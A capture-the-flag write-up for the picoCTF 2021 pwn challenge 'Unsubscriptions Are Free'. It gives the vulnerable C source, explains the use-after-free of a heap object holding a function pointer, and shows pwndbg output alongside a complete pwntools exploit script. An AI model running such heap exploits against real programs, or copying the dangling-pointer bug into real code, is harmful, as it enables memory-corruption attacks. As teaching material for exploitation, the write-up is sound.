Unsubscriptions Are Free

Writeup for Unsubscriptions Are Free (pwn) - Pico CTF (2021) 💜

Video Walkthrough

Description

Check out my new video-game and spaghetti-eating streaming channel on Twixer!

Source

#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20

typedef struct {
  uintptr_t (*whatToDo)();
  char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt", "r");
  fgets(buf, FLAG_BUFFER, f);
  fprintf(stdout, "%s\n", buf);
  fflush(stdout);
}

char *getsline(void) {
  getchar();
  char *line = malloc(100), *linep = line;
  size_t lenmax = 100, len = lenmax;
  int c;
  if (line == NULL)
    return NULL;
  for (;;) {
    c = fgetc(stdin);
    if (c == EOF)
      break;
    if (--len == 0) {
      len = lenmax;
      char *linen = realloc(linep, lenmax *= 2);

      if (linen == NULL) {
        free(linep);
        return NULL;
      }
      line = linen + (line - linep);
      linep = linen;
    }

    if ((*line++ = c) == '\n')
      break;
  }
  *line = '\0';
  return linep;
}

void doProcess(cmd *obj) { (*obj->whatToDo)(); }

void s() {
  printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
  puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p() {
  puts("Membership pending... (There's also a super-subscription you can also "
       "get for twice the price!)");
}

void m() { puts("Account created."); }

void leaveMessage() {
  puts("I only read premium member messages but you can ");
  puts("try anyways:");
  char *msg = (char *)malloc(8);
  read(0, msg, 8);
}

void i() {
  char response;
  puts("You're leaving already(Y/N)?");
  scanf(" %c", &response);
  if (toupper(response) == 'Y') {
    puts("Bye!");
    free(user);
  } else {
    puts("Ok. Get premium membership please!");
  }
}

void printMenu() {
  puts("Welcome to my stream! ^W^");
  puts("==========================");
  puts("(S)ubscribe to my channel");
  puts("(I)nquire about account deletion");
  puts("(M)ake an Twixer account");
  puts("(P)ay for premium membership");
  puts("(l)eave a message(with or without logging in)");
  puts("(e)xit");
}

void processInput() {
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch (choice) {
  case 'S':
    if (user) {
      user->whatToDo = (void *)s;
    } else {
      puts("Not logged in!");
    }
    break;
  case 'P':
    user->whatToDo = (void *)p;
    break;
  case 'I':
    user->whatToDo = (void *)i;
    break;
  case 'M':
    user->whatToDo = (void *)m;
    puts("===========================");
    puts("Registration: Welcome to Twixer!");
    puts("Enter your username: ");
    user->username = getsline();
    break;
  case 'L':
    leaveMessage();
    break;
  case 'E':
    exit(0);
  default:
    puts("Invalid option!");
    exit(1);
    break;
  }
}

int main() {
  setbuf(stdout, NULL);
  user = (cmd *)malloc(sizeof(user));
  while (1) {
    printMenu();
    processInput();
    // if(user){
    doProcess(user);
    //}
  }
  return 0;
}

Solution

Challenge name indicates a Use After Free (UAF) vulnerability.

Use-After-Free (UAF) is a vulnerability related to incorrect use of dynamic memory during program operation. If after freeing a memory location, a program does not clear the pointer to that memory, an attacker can use the error to hack the program.

Goal is to call the hahaexploitgobrrr function, printing the flag.

main() first mallocs a user object* from the cmd struct, containing a function pointer whatToDo and a char pointer username.

*32-bit binary, so the two pointers are 4 bytes each, and you would assume malloc(8). However, ghidra shows malloc(4) because the code uses (cmd *)malloc(sizeof(user)) where user is a 4 byte pointer. However, when we debug the program, we see a 16-byte chunk is assigned, so malloc(16).

main() then indefinitely loops:

  • printMenu() - print menu options

  • processInput() - read user input

  • doProcess(user) - execute the current function pointed to by user->whatToDo

When we select a menu option, e.g. S the user->whatToDo function pointer is updated, to point at the relevant function, e.g. s:

(S) Leak hahaexploitgobrrr address (I) free() the user object (M) Create account, sets user->username (P) Print unimportant string (L) Leave a message, reads 8 bytes into new chunk (malloc(8)) (E) Exit the program

Let's re-order these menu options into an exploit:

(S) Leak hahaexploitgobrrr address (I) free() the user object (L) Leave a message, reads 8 bytes into new chunk (malloc(8))

Breakdown: We'll leak (and capture) the hahaexploitgobrrr address. Next, we'll free the user object. Finally, we'll submit the hahaexploitgobrrr address as a message. malloc(8) will reuse the freed user chunk (UAF) and write the address into the user->whatToDo function pointer, which is continously executed by doProcess(user).

We can set some breakpoints in GDB:

  1. break *0x8048d6f - After user = (cmd *)malloc(sizeof(user)) in main()

  2. break *0x8048aff - After free(user) in i()

  3. break *0x8048a61 - After char* msg = (char*)malloc(8) in leaveMessage()

The first breakpoint shows the address of the user chunk (0x95cd1a0), returned to the EAX by malloc.

─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
 EAX  0x95cd1a0 ◂— 0x0
 EBX  0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
 ECX  0x0
 EDX  0x4
 EDI  0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 ESI  0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 EBP  0xffafe2a8 ◂— 0x0
 ESP  0xffafe290 ◂— 0x4
 EIP  0x8048d6f (main+58) ◂— add    esp, 0x10
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
 â–º 0x8048d6f <main+58>    add    esp, 0x10
   0x8048d72 <main+61>    mov    edx, eax
   0x8048d74 <main+63>    mov    eax, user                     <0x804b060>
   0x8048d7a <main+69>    mov    dword ptr [eax], edx
   0x8048d7c <main+71>    call   printMenu                     <printMenu>

   0x8048d81 <main+76>    call   processInput                     <processInput>

   0x8048d86 <main+81>    mov    eax, user                     <0x804b060>
   0x8048d8c <main+87>    mov    eax, dword ptr [eax]
   0x8048d8e <main+89>    sub    esp, 0xc
   0x8048d91 <main+92>    push   eax
   0x8048d92 <main+93>    call   doProcess                     <doProcess>

The chunk size is 16.

0x11 is 17, but the 1 is a flag to indicate the previous chunk is not free.

pwndbg> x/8wx 0x95cd1a0 - 4
0x95cd19c:	0x00000011	0x00000000	0x00000000	0x00000000
0x95cd1ac:	0x00021e59	0x00000000	0x00000000	0x00000000

We'll create a user "crypto" and check the chunk again.

pwndbg> x/8wx 0x95cd1a0 - 4
0x95cd19c:	0x00000011	0x080489f6	0x095ce1c0	0x00000000
0x95cd1ac:	0x00001011	0x70797263	0x000a6f74	0x00000000

The next 4 bytes after the chunk size (0x080489f6) hold the user->whatToDo function pointer.

pwndbg> x 0x080489f6
0x80489f6 <m>:	0x53e58955

The next 4 bytes after that hold the user->username char pointer.

pwndbg> x/gx 0x095ce1c0
0x95ce1c0:	0x000a6f7470797263
pwndbg> unhex a6f7470797263

otpyrc

Second breakpoint, after the user chunk has been freed.

─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
*EAX  0x0
 EBX  0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
*ECX  0x95cd010 ◂— 0x1
*EDX  0x0
 EDI  0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 ESI  0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 EBP  0xffafe278 —▸ 0xffafe288 —▸ 0xffafe2a8 ◂— 0x0
*ESP  0xffafe250 —▸ 0x95cd1a0 ◂— 0x0
*EIP  0x8048aff (i+128) ◂— add    esp, 0x10
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
 â–º 0x8048aff <i+128>          add    esp, 0x10
   0x8048b02 <i+131>          jmp    i+151                     <i+151>
    ↓
   0x8048b16 <i+151>          nop
   0x8048b17 <i+152>          mov    eax, dword ptr [ebp - 0xc]
   0x8048b1a <i+155>          xor    eax, dword ptr gs:[0x14]
   0x8048b21 <i+162>          je     i+169                     <i+169>
    ↓
   0x8048b28 <i+169>          mov    ebx, dword ptr [ebp - 4]
   0x8048b2b <i+172>          leave
   0x8048b2c <i+173>          ret

   0x8048b2d <printMenu>      push   ebp
   0x8048b2e <printMenu+1>    mov    ebp, esp

We can check the chunk data again.

pwndbg> x/8wx 0x95cd1a0 - 4
0x95cd19c:	0x00000011	0x00000000	0x095cd010	0x00000000
0x95cd1ac:	0x00001011	0x70790a59	0x000a6f74	0x00000000

Notice the user->whatToDo function pointer is now empty because the first word in a free chunk holds the previous free chunk's address (prev_ptr). However, the username remains.

We can check the heap and see that our free chunk is in the tcache.

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x95cd008
Size: 0x191

Free chunk (tcache) | PREV_INUSE
Addr: 0x95cd198
Size: 0x11
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x95cd1a8
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x95ce1b8
Size: 0x71

Top chunk | PREV_INUSE
Addr: 0x95ce228
Size: 0x20dd9

Third breakpoint, after a new 8 byte chunk is allocated by malloc.

─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
*EAX  0x95cd1a0 ◂— 0x0
 EBX  0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
*ECX  0x20
 EDX  0x0
 EDI  0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 ESI  0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
*EBP  0xffafe288 —▸ 0xffafe298 —▸ 0xffafe2a8 ◂— 0x0
*ESP  0xffafe260 ◂— 0x8
*EIP  0x8048a61 (leaveMessage+64) ◂— add    esp, 0x10
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
 â–º 0x8048a61 <leaveMessage+64>    add    esp, 0x10
   0x8048a64 <leaveMessage+67>    mov    dword ptr [ebp - 0xc], eax
   0x8048a67 <leaveMessage+70>    sub    esp, 4
   0x8048a6a <leaveMessage+73>    push   8
   0x8048a6c <leaveMessage+75>    push   dword ptr [ebp - 0xc]
   0x8048a6f <leaveMessage+78>    push   0
   0x8048a71 <leaveMessage+80>    call   read@plt                     <read@plt>

   0x8048a76 <leaveMessage+85>    add    esp, 0x10
   0x8048a79 <leaveMessage+88>    nop
   0x8048a7a <leaveMessage+89>    mov    ebx, dword ptr [ebp - 4]
   0x8048a7d <leaveMessage+92>    leave

malloc(8) has returned 0x95cd1a0, the same address as our previous chunk. Hence we are using-after-free when we write our message. We submit the leaked hahaexploitgobrrr function address, overwriting user->whatToDo. The infinite loop in main executes doProcess(user), triggering the hahaexploitgobrrr function and printing the flag.

python exploit.py REMOTE mercury.picoctf.net 61817
[+] Opening connection to mercury.picoctf.net on port 61817: Done
[*] leaked hahaexploitgobrrr() address: 0x80487d6
[!] picoCTF{d0ubl3_j30p4rdy_1e154727}
[*] Closed connection to mercury.picoctf.net port 61817

Solution

from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x8048d6f
break *0x8048aff
break *0x8048a61
continue
'''.format(**locals())

# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# Create user (not needed, just for demo)
io.sendlineafter(b'(e)xit', b'M')
io.sendlineafter(b':', b'crypto')

# Leak memory (win address)
io.sendlineafter(b'(e)xit', b'S')
io.recvuntil(b'OOP! Memory leak...', drop=True)
leak = int(io.recvlineS(), 16)
info("leaked hahaexploitgobrrr() address: %#x", leak)

# Free the user
io.sendlineafter(b'(e)xit', b'I')
io.sendlineafter(b'?', b'Y')

# Leave a message (leaked address)
# The freed chunk will be reused
io.sendlineafter(b'(e)xit', b'L')
io.sendlineafter(b':', flat(leak))

# Got Flag?
warn(io.recvlines(2)[1].decode())

Flag: picoCTF{d0ubl3_j30p4rdy_ba307b82}

Last updated